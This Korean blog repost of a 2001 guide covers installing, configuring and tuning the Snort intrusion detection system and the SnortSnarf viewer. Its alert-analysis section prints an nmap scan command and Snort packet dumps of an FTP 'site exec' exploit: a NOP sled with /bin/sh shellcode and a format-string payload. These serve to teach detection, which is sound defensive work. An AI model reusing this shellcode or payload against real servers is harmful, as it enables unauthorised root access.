Computer/LINUX

snort

알찬돌삐 2012. 8. 10. 16:11


Snort 설치 및 운영 가이드


2001. 3. 28

정현철, hcjung@certcc.or.kr

1. 개요

침입차단시스템(Firewall)은 보안제품으로써 가장 널리 알려져 있으며, 국내에서도 많은 기관에서 침입차단시스템을 이용하여 보안을 강화하고 있다. 하지만 모든 보안제품을 100% 신뢰할 수 없는 것과 마찬가지로 침입차단시스템 만으로 완벽한 보안을 구축하였다고 장담할 수 없다.

보안은 방어(protect), 탐지(detect), 그리고 대응(react)으로 이루어진 defense-in-depth 접근법을 적용하여야만 한다고들 한다. 침입차단시스템만으로는 완전한 방어가 이루어질 수는 없으므로 침입시도나 침입에 대한 신속한 탐지와 대응이 동시에 이루어져야 한다. 이러한 공감대로 인해 최근 침입탐지시스템이 보안분야에서 이슈화되고 있다. 국내에서도 많은 보안업체에서 침입탐지시스템 개발에 노력하고 있다. 하지만 실제 국내 해킹 피해기관들은 대부분 중소규모의 업체들로써 고가의 상용 보안제품을 구매할 여력이 없는 경우가 많다.

침입탐지시스템은 국내외에 많은 상용제품이 나와 있지만, 공개 S/W 중에서도 활용 가능한 침입차단시스템들이 많다. 그 중에서 가장 대표적인 공개 침입탐지시스템이 Snort일 것이다. 국외에서도 Snort를 이용한 침입탐지 결과를 SANS 등에 알려 공격동향 정보를 공유하는 경우가 많다.

Snort의 개발자인 Marty Roesch에 의하면 "Snort는 실시간 트래픽 분석과 IP 네트워크 상에서 패킷 로깅이 가능한 가벼운(lightweight) 네트워크 침입탐지시스템"이라고 한다. Snort는 패킷 수집 라이브러리인 libpcap에 기반한 네트워크 스니퍼인데, 쉽게 정의할 수 있는 침입탐지 rule들에 일치되는 네트워크 트래픽을 감시하고 기록하고 경고할 수 있는 도구이다. Snort는 프로토콜 분석, 내용 검색/매칭을 수행할 수 있으며 오버플로우, Stealth 포트스캔, CGI 공격, SMB 탐색, OS 확인 시도 등의 다양한 공격과 스캔을 탐지할 수 있다. 또한 이러한 탐지 rule들은 보안 Community를 통해 지속적으로 업데이트되고, 본인이 쉽게 rule을 작성하여 추가할 수 있으므로 최신 공격에 적응이 쉽다.

2. 설치 및 운영

Snort의 설치는 의외로 간단하다. 본인은 리눅스 RedHat 6.2 환경에서 Snort 1.7을 설치 운영하였는데 환경설정 등에서 몇 번의 시행착오를 거쳤다. 설치과정을 알아보도록 하자.

가. libpcap 설치

Snort는 패킷을 수집하기 위해 네트워크 패킷 수집 라이브러리인 libpcap을 필요로 한다. 따라서 Snort를 설치하기에 앞서 libpcap이 설치되어 있어야 한다.

리눅스 시스템에는 기본적으로 설치되어 있는데 다음 명령으로 설치여부를 확인하여 보자.

# rpm -q libpcap

libpcap-0.4-10

만일 설치되어 있지 않다면 다음 사이트에서 libpcap 라이브러리를 내려받아 설치한다.

ftp://ftp.ee.lbl.gov/libpcap.tar.Z

우선 압축을 해제하고 tar archive를 푼다.

# uncompress libpcap.tar.Z

# tar xvf libpcap.tar

생성된 디렉토리(libpcap-0.4)로 이동하여 다음과 같이 설치한다.

# ./configure

# make

# make install

# make install-incl

나. snort 설치

먼저 최신 버전의 snort를 다운로드 받는다.

snort의 공식 홈페이지(http://www.snort.org/)에는 최신 버전의 snort 프로그램이 제공되고 있으며, snort 관련 문서들과 탐지 rule들이 있다. 2001년 3월 현재 snort 1.7이 최신 버전이다.

먼저 다운로드받은 압축 파일을 푼다.

# tar xvzf snort-1.7.tar.gz

archive를 풀면 snort-1.7 이라는 디렉토리가 생성되는데 이 디렉토리로 이동한다.

INSTALL 파일을 읽어보면 설치요령이 설명되어 있는데 다음과 같이 하면 특별한 에러없이 설치가 될 것이다.

# ./configure

# make

# make install

다. snort 실행

libpcap과 snort를 설치하는 과정에서는 별다른 어려움이 없었을 것이다. 실제 네트워크 관리자가 신경을 써야 할 부분은 자신의 네트워크 환경에 맞게 rule들을 Customizing하는 것이다.

snort-1.7에서는 기본적으로 탐지 rule이 630여개 정도 제공되고 있는데 다음 사이트에서 좀더 풍부한 rule을 다운로드받아 설치할 수 있다.

http://www.snort.org/Files/03152001/snortrules.tar.gz

이 파일을 snort-1.7이 설치된 디렉토리에 저장하고 압축을 푼다. 압축파일에는 snort.conf 파일을 포함하여 약 840여개의 탐지 rule이 있다.

그러면 snort의 환경설정 파일인 snort.conf 파일에서 몇가지 변수들을 자신의 환경에 맞게 바꾸어 보자. snort.conf 파일에서 여러 가지 네트워크 변수값들의 설정, preprocessor 환경, Output plug-in 환경, 사용될 rule의 설정 등을 할 수 있다.

필자는 다음과 같이 네트워크 변수값 등 기본적인 사항만 변경하였다.

var HOME_NET 172.16.2.0/24

var DNS_SERVERS [211.252.150.1/32,211.252.150.11/32]

preprocessor portscan-ignorehosts: $DNS_SERVERS

#include local.rules

이제 snort에 의해 탐지된 결과가 저장될 디렉토리를 생성하도록 한다.

# mkdir /var/log/snort

# chmod 700 /var/log/snort

이제 준비작업은 끝났다. snort를 실행해 보도록 하자. USAGE 파일에 snort에서 제공되는 여러 가지 옵션들이 설명되어 있다. 기본적인 옵션은 다음과 같다.

USAGE: ./snort [-options] <filter options>

Options:

-A Set alert mode: fast, full, or none (alert file alerts only)

"unsock" enables UNIX socket logging (experimental).

-a Display ARP packets

-b Log packets in tcpdump format (much faster!)

-c <rules> Use Rules File <rules>

-C Print out payloads with character data only (no hex)

-d Dump the Application Layer

-D Run Snort in background (daemon) mode

-e Display the second layer header info

-F <bpf> Read BPF filters from file <bpf>

-g <gname> Run snort gid as <gname> group (or gid) after initialization

-h <hn> Home network = <hn>

-i <if> Listen on interface <if>

-I Add Interface name to alert output

-l <ld> Log to directory <ld>

-n <cnt> Exit after receiving <cnt> packets

-N Turn off logging (alerts still work)

-o Change the rule testing order to Pass|Alert|Log

-O Obfuscate the logged IP addresses

-p Disable promiscuous mode sniffing

-P <snap> set explicit snaplen of packet (default: 1514)

-q Quiet. Don't show banner and status report

-r <tf> Read and process tcpdump file <tf>

-s Log alert messages to syslog

-S <n=v> Set rules file variable n equal to value v

-t <dir> Chroots process to <dir> after initialization

-u <uname> Run snort uid as <uname> user (or uid) after initialization

-v Be verbose

-V Show version number

-X Dump the raw packet data starting at the link layer

다양한 설정을 할 수 있지만 여기서는 다음과 같이 설정하였다.

# ./snort -d -l /var/log/snort -c snort.conf -A full -D

이 결과 로그 디렉토리(/var/log/snort)에 alert, portscan.log, log 파일 등이 생성되는 것을 확인할 수 있다.

여기서 설치한 기본적인 옵션 이외에도 기관의 네트워크 환경에 맞게 다양하게 실행을 바꿀 수 있다. 너무 많은 옵션과 환경이 있을 수 있으니 일반적으로 많이 사용될 수 있는 환경과 그때의 옵션에 대해 알아보도록 하자.

먼저, snort에서 기본적으로 지정된 로그디렉토리 이외에도 syslog 데몬에게도 로그를 전달할 수 있다. syslog에는 LOG_AUTHPRIV 장치와 LOG_ALERT 수준으로 전달되는데 syslog.conf 파일을 이용하여 관리자에게 경고 메일을 보내거나 다른 로그서버에 전달하는 것도 좋은 아이디어일 것이다. snort에서 syslog 데몬에 alert을 전달하기 위해서는 “-s"옵션을 사용한다.

또, 대규모 bandwidth의 네트워크(예를들어 100Mbps)에서 트래픽량이 많을 경우 트래픽을 전부 처리 못하거나 로그로 인해 디스크가 full이 날 수도 있다.
이때 로그를 ASCII형태가 아닌 binary 형태로 저장(-b 옵션)하고 alert의 내용도 단순한 형태(-A fast)로 바꿀 수 있다.

./snort -b -A fast -c snort.conf

로그는 각 IP 별로 세부적인 패킷이 모두 저장되는데 이는 디스크 full의 원인이 되기 쉽다.
이때 "-N" 옵션을 사용하여 IP별 세부로그를 남기지 않을 수도 있다.

이외에도 다양한 환경에 적합하게 옵션들을 사용할 수 있는데 또 다른 환경들은 USAGE파일이나 help 화면을 참고하여 설정하기 바란다.

3. snort 탐지결과 분석

snort의 설치를 마치고 데몬을 실행하였다면 snort가 실제 공격을 탐지하지 못하는지(false-negative) 확인하고, 공격이 아닌 event에 대해서 공격이라고 경고하는지(false-positive) 확인하여 잘못된 rule을 수정하거나 제거하여야 한다.

공격 로그는 snort 실행시 로그 디렉토리로 지정한 /var/log/snort에 남게 된다. 로그 디렉토리에는 경고 메시지가 저장되는 alert 파일과 포트스캔 결과가 저장되는 portscan.log 파일 그리고, 각 IP 주소별로 좀더 상세한 로그를 저장한다.

먼저 가장 일반적으로 발생되는 스캔 공격에 대해서 어떻게 탐지하는지 알아보도록 하자. 포트 스캔 툴로 많이 이용되는 nmap을 이용하여 half-open stealth 스캔을 하여 보았다.

# nmap -O -sS 172.16.2.34

이때 snort에서 탐지된 alert의 내용이다.

[**] ICMP Nmap2.36BETA or HPING2 Echo [**]

03/27-01:57:51.301388 172.16.4.80 -> 172.16.2.34

ICMP TTL:40 TOS:0x0 ID:34166 IpLen:20 DgmLen:28

Type:8 Code:0 ID:56994 Seq:0 ECHO

[**] spp_portscan: PORTSCAN DETECTED from 172.16.4.80 (THRESHOLD 4 connections exceeded in 0 seconds) [**]

03/27-01:57:51.644686

[**] SCAN Proxy attempt [**]

03/27-01:57:52.302744 172.16.4.80:38992 -> 172.16.2.34:1080

TCP TTL:58 TOS:0x0 ID:14930 IpLen:20 DgmLen:40

******S* Seq: 0x318068AA Ack: 0x0 Win: 0x1000 TcpLen: 20

[**] INFO - Possible Squid Scan [**]

03/27-01:57:52.522835 172.16.4.80:38992 -> 172.16.2.34:3128

TCP TTL:58 TOS:0x0 ID:45114 IpLen:20 DgmLen:40

******S* Seq: 0x318068AA Ack: 0x0 Win: 0x1000 TcpLen: 20

[**] SCAN nmap fingerprint attempt [**]

03/27-01:57:52.780479 172.16.4.80:39001 -> 172.16.2.34:21

TCP TTL:58 TOS:0x0 ID:44201 IpLen:20 DgmLen:60

**U*P*SF Seq: 0x580E33D1 Ack: 0x0 Win: 0x1000 TcpLen: 40 UrgPtr: 0x0

TCP Options (5) => WS: 10 NOP MSS: 265 TS: 1061109567 0 EOL

[**] SCAN nmap TCP [**]

03/27-01:57:52.780526 172.16.4.80:39002 -> 172.16.2.34:21

TCP TTL:58 TOS:0x0 ID:28513 IpLen:20 DgmLen:60

***A**** Seq: 0x580E33D1 Ack: 0x0 Win: 0x1000 TcpLen: 40

TCP Options (5) => WS: 10 NOP MSS: 265 TS: 1061109567 0 EOL

[**] SCAN nmap TCP [**]

03/27-01:57:52.780621 172.16.4.80:39004 -> 172.16.2.34:1

TCP TTL:58 TOS:0x0 ID:19632 IpLen:20 DgmLen:60

***A**** Seq: 0x580E33D1 Ack: 0x0 Win: 0x1000 TcpLen: 40

TCP Options (5) => WS: 10 NOP MSS: 265 TS: 1061109567 0 EOL

[**] spp_portscan: portscan status from 172.16.4.80: 1530 connections across 1 hosts: TCP(1529), UDP(1) STEALTH [**]

03/27-01:58:00.073859

[**] spp_portscan: End of portscan from 172.16.4.80: TOTAL time(2s) hosts(1) TCP(1529) UDP(1) STEALTH [**]

03/27-01:58:04.551291

그리고 portscan.log 파일에 다음과 같은 로그가 남는다.

Mar 27 01:57:51 172.16.4.80:38992 -> 172.16.2.34:7326 SYN ******S*

Mar 27 01:57:51 172.16.4.80:38992 -> 172.16.2.34:1417 SYN ******S*

Mar 27 01:57:51 172.16.4.80:38992 -> 172.16.2.34:481 SYN ******S*

Mar 27 01:57:51 172.16.4.80:38992 -> 172.16.2.34:163 SYN ******S*

Mar 27 01:57:51 172.16.4.80:38992 -> 172.16.2.34:1022 SYN ******S*

Mar 27 01:57:51 172.16.4.80:38992 -> 172.16.2.34:1993 SYN ******S*

Mar 27 01:57:51 172.16.4.80:38992 -> 172.16.2.34:336 SYN ******S*

Mar 27 01:57:51 172.16.4.80:38992 -> 172.16.2.34:718 SYN ******S*

...

FTP 데몬의 site exec 버그를 이용하여 원격에서 시스템 관리자 권한을 취득하려는 공격을 시도하였을 경우 snort에서 alert 파일에 남긴 공격 메시지는 다음과 같다.

[**] EXPLOIT x86 NOOP [**]

03/27-01:38:25.743974 172.16.4.80:2561 -> 172.16.2.34:21

TCP TTL:63 TOS:0x0 ID:8846 IpLen:20 DgmLen:558 DF

***AP*** Seq: 0x76E783D2 Ack: 0x499461D5 Win: 0x7D78 TcpLen: 32

TCP Options (3) => NOP NOP TS: 242635123 77742672

[**] FTP site exec [**]

03/27-01:38:27.773483 172.16.4.80:2561 -> 172.16.2.34:21

TCP TTL:63 TOS:0x0 ID:8850 IpLen:20 DgmLen:478 DF

***AP*** Seq: 0x76E785CC Ack: 0x49946486 Win: 0x7D78 TcpLen: 32

TCP Options (3) => NOP NOP TS: 242635327 77742675

이 결과 FTP 공격에 대해 정상적으로 탐지하고 있음을 알 수 있다.

그리고, 자세한 공격 메시지는 공격자 주소인 172.16.4.80이라는 디렉토리에 다음의 파일이 생성되어 있다.

# cat TCP:2561-21

[**] EXPLOIT x86 NOOP [**]

03/27-01:38:25.743974 172.16.4.80:2561 -> 172.16.2.34:21

TCP TTL:63 TOS:0x0 ID:8846 IpLen:20 DgmLen:558 DF

***AP*** Seq: 0x76E783D2 Ack: 0x499461D5 Win: 0x7D78 TcpLen: 32

TCP Options (3) => NOP NOP TS: 242635123 77742672

50 41 53 53 20 90 90 90 90 90 90 90 90 90 90 90 PASS ...........

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................

90 90 90 90 90 90 90 90 90 90 90 90 31 C0 50 50 ............1.PP

50 B0 7E CD 80 31 DB 31 C0 43 43 53 4B 53 53 B0 P.~..1.1.CCSKSS.

5A CD 80 EB 77 5E 31 C0 8D 5E 01 88 46 04 66 68 Z...w^1..^..F.fh

FF FF 01 53 53 B0 88 CD 80 31 C0 8D 5E 01 53 53 ...SS....1..^.SS

B0 3D CD 80 31 C0 31 DB 8D 5E 08 89 43 02 31 C9 .=..1.1..^..C.1.

FE C9 31 C0 8D 5E 08 53 53 B0 0C CD 80 FE C9 75 ..1..^.SS......u

F1 31 C0 88 46 09 8D 5E 08 53 53 B0 3D CD 80 FE .1..F..^.SS.=...

0E B0 30 FE C8 88 46 04 31 C0 88 46 07 89 76 08 ..0...F.1..F..v.

89 46 0C 89 F3 8D 4E 08 8D 56 0C 52 51 53 53 B0 .F....N..V.RQSS.

3B CD 80 31 C0 31 DB 53 53 B0 01 CD 80 E8 84 FF ;..1.1.SS.......

FF FF FF FF FF 30 62 69 6E 30 73 68 31 2E 2E 31 .....0bin0sh1..1

31 76 65 6E 67 6C 69 6E 0D 0A 1venglin..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

[**] FTP site exec [**]

03/27-01:38:27.773483 172.16.4.80:2561 -> 172.16.2.34:21

TCP TTL:63 TOS:0x0 ID:8850 IpLen:20 DgmLen:478 DF

***AP*** Seq: 0x76E785CC Ack: 0x49946486 Win: 0x7D78 TcpLen: 32

TCP Options (3) => NOP NOP TS: 242635327 77742675

73 69 74 65 20 65 78 65 63 20 78 78 BC C6 BF BF site exec xx....

25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%

2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.

66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f

25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%

2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.

66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f

25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%

2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.

66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f

25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%

2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.

66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f

25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%

2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.

66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f

25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%

2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.

66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f

25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%

2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.

66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f

25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%

2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.

66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f

25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 64 25 63 %.f%.f%.f%.f%d%c

25 63 25 2E 66 7C 25 70 0D 0A %c%.f|%p..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

이 흔적에서 많은 수의 NOP(Null Operation)과 코드 중에 /bin/sh이 포함되어 있는 것을 볼 수 있는데 이로써 쉽게 FTP site exec 취약점을 이용한 버퍼오버플로우 공격 사실을 알 수 있다.

이제 공격이 아닌데 공격으로 탐지하는 rule들에 대한 정리를 할 필요가 있다.

snort 운영중에 실제 공격이 아닌 정상적인 웹서핑인데도 불구하고 IIS Unicode 버그를 공격하는 시도로 계속 탐지된 적이 있었다.

[**] spp_http_decode: IIS Unicode attack detected [**]

03/28-22:08:54.155195 172.16.2.149:1245 -> xxx.xxx.xxx.xxx:80

TCP TTL:128 TOS:0x0 ID:6395 IpLen:20 DgmLen:731 DF

***AP*** Seq: 0xE2EB1A8C Ack: 0x9BEE182B Win: 0x43E4 TcpLen: 20

이는 http_decode preprocess에 의해 매칭되어 나타난 것이다.

실제 Unicode 공격을 위해서는 "/"나 "\"의 Unicode인 %c1%1c, %c0%af, %c1%9c패턴을 매칭하여야 하지만 http_decode프로그램 코드(spp_http_decode.c)에서는 %c0, %c1, %e0, %f0, %f8, %fc만을 비교하는 것으로 보인다.

그래서 본인은 snort.conf 파일에서 "preprocessor http_decode: 80 8080" 부분을 "preprocessor http_decode: -unicode 80 8080" 으로 바꾸어 Unicode를 점검하지 않도록 하였다. 물론 이 경우 실제 Unicode 공격이 있을 경우 탐지 못 할 수도 있는 위험은 있다.

이외에도 몇몇 rule들이 false-positive하게 탐지하는 경우들이 있었는데 이는 네트워크 관리자의 판단하에 해당 rule에 주석(#)처리하여 제거하거나, 탐지 패턴을 수정할 필요가 있다.

4. 편리한 사용자 인터페이스(SnortSnarf)

Snort의 강력한 침입탐지 기능을 더욱 돋보이게 하는 것이 여러 사용자 그룹에 의해 작성된 로그 관리 툴, 웹 환경 지원 툴 등 보조 툴들로써 이들에 의해 Snort를 보다 편리하게 사용할 수 있다.

Snort를 더욱 빛내는 많은 보조도구 중에서 가장 많이 사용되는 것이 아마 SnortSnarf일 것이다. SnortSnarf는 Snort에 의해 생성된 하나이상의 결과 파일들을 웹 페이지로 바꿔서 Snort에 의해 탐지된 결과 파일들을 빠르고 편리하게 찾아볼 수 있도록 한다. SnortSnarf가 읽을 수 있는 파일 형태는 다음과 같다.

- Snrot alert 파일들(-A full 또는 -A fast 모두 가능)
- Snort에 의해 기록된 syslog 파일들
- portscan 파일들

그러면, SnortSnarf 설치에 대해서 알아보도록 하자.

이 설치방법은 winmil님이 번역하신 "SuSe 6.x-7.x에 Snort 1.6.3 설치하기"를 참조하여 리눅스 RedHat 6.2에 apache 웹서버가 설치된 환경에 맞게 바꾸었다.

winmil님의 글은 다음에서 볼 수 있다.

http://my.dreamwiz.com/winmil/security/snort.htm

① 먼저 최신 버전의 SnortSnarf를 http://www.silicondefense.com/snortsnarf.htm에서 다운로드 받는다. 현재 SnortSnarf-011601.1.tar.gz이 최신이다.

② 압축을 해제하고 생성된 디렉토리로 이동한다.

# tar xvzf ./SnortSnarf-011601.1.tar.gz

# cd SnortSnarf-011601.1

③ SnortSnarf-011601.1/include 디렉토리로 이동하여 include 디렉토리에 있는 모든 파일을 /usr/lib/perl5/site_perl로 복사한다.

# cp ./* /usr/lib/perl5/site_perl/5.005/

④ SnortSnarf-011601.1/cgi 디렉토리로 이동하여 cgi 디렉토리에 있는 모든 파일을 /usr/local/apache/cgi-bin으로 복사한다.

# cp ./* /usr/local/apache/cgi-bin/

⑤ 다시 SnortSnarf-011601.1 디렉토리로 이동하여 snortsnarf.pl을 다음과 같이 실행한다.

# ./snortsnarf.pl -rulesdir /home/hcjung/secure/snort/snort-1.7 -rulesfile /home/hcjung/secure/snort/snort-1.7/snort.conf -d /usr/local/apache/htdocs/snort /var/log/snort/alert /var/log/snort/portscan.log /var/log/snort/log

이 명령은 너무 길어서 스크립트로 만들어 두면 이후에 사용이 쉬워질 것이다.

이 명령은 snort 결과 파일들이 저장된 /var/log/snort에서 alert, portscan.log, log 파일을 읽어서 웹서버의 홈 디렉토리에 snort라는 하위 디렉토리를 생성하고 snort 로그를 웹페이지로 전환한다.

snortsnarf.pl의 사용법은 다음과 같다.

snortsnarf.pl <options> <file1 file2 ...>

다양한 옵션들이 있지만 본 문서에서 사용된 옵션에 대해서만 알아보자.

-rulesdir : snort rule 파일들의 위치를 지정한다.
-rulesfile : snort 시작 rule파일 즉, snort.conf 또는 snort.lib을 지정한다.

rule 파일을 지정함으로써 생성된 탐지 내용이 어느 rule에 의해 생성된것인지 같이 보여질 수 있다.

-d : 웹페이지가 생성될 디렉토리를 지정한다.

이렇게 생성된 웹페이지는 웹 브라우져를 통해 쉽게 볼 수 있다.

첫 번째 화면은 지금까지 생성된 침입탐지 흔적들을 종류별로 구분을 하고 각각의 침입에 대한 빈도수를 보여주고 있다. 웹페이지를 통해 제공되는 이 자료는 내부 네트워크에 대한 침입/침입시도 통계를 한눈에 확인할 수 있고, 자주 발생되는 침입이나 주요 침입 내용을 쉽게 확인할 수 있다.

Snort_002.jpg 

각 침입 유형에서 하이퍼링크를 통해 좀더 세부적인 침입흔적을 살펴볼 수 있다.

두 번째 화면은 X86 NOP 공격을 탐지한 내용이다. 일반적으로 버퍼오버플로우 공격을 할때 공격자 자신이 삽입한 코드(보통 쉘코드)의 위치로 이동하여야 하는데 정확한 위치를 알기가 어려우므로 쉘코드 앞에 충분히 많은 NOP를 넣어두고 NOP로 프로그램 흐름을 이동시키는 경우가 많다. snort에서는 많은 수의 NOP 또한 공격시도 흔적으로 탐지하는 것을 알 수 있다.

그리고, -rulefiles 옵션에 의해 탐지한 rule도 보여주고 있다.

Snort_001.jpg

5. 참고문헌

[1] http://www.snort.org[2] http://www.silicondefense.com/snortsnarf[3] http://my.dreamwiz.com/winmil/security/snort.htm[4] http://www.whitehats.com/

이 글은 스프링노트에서 작성되었습니다.

.

'Computer > LINUX' 카테고리의 다른 글

SSH키를 이용한 RSYNC 백업법  (0) 2012.08.10
ssh 접속 공격 막기  (0) 2012.08.10
snort  (0) 2012.08.10
pam_abl 을 통한 SSH 공격방어  (0) 2012.08.10
PAM (착탈형 인증 모듈)  (0) 2012.08.10
mysql ssh 터널링  (0) 2012.08.10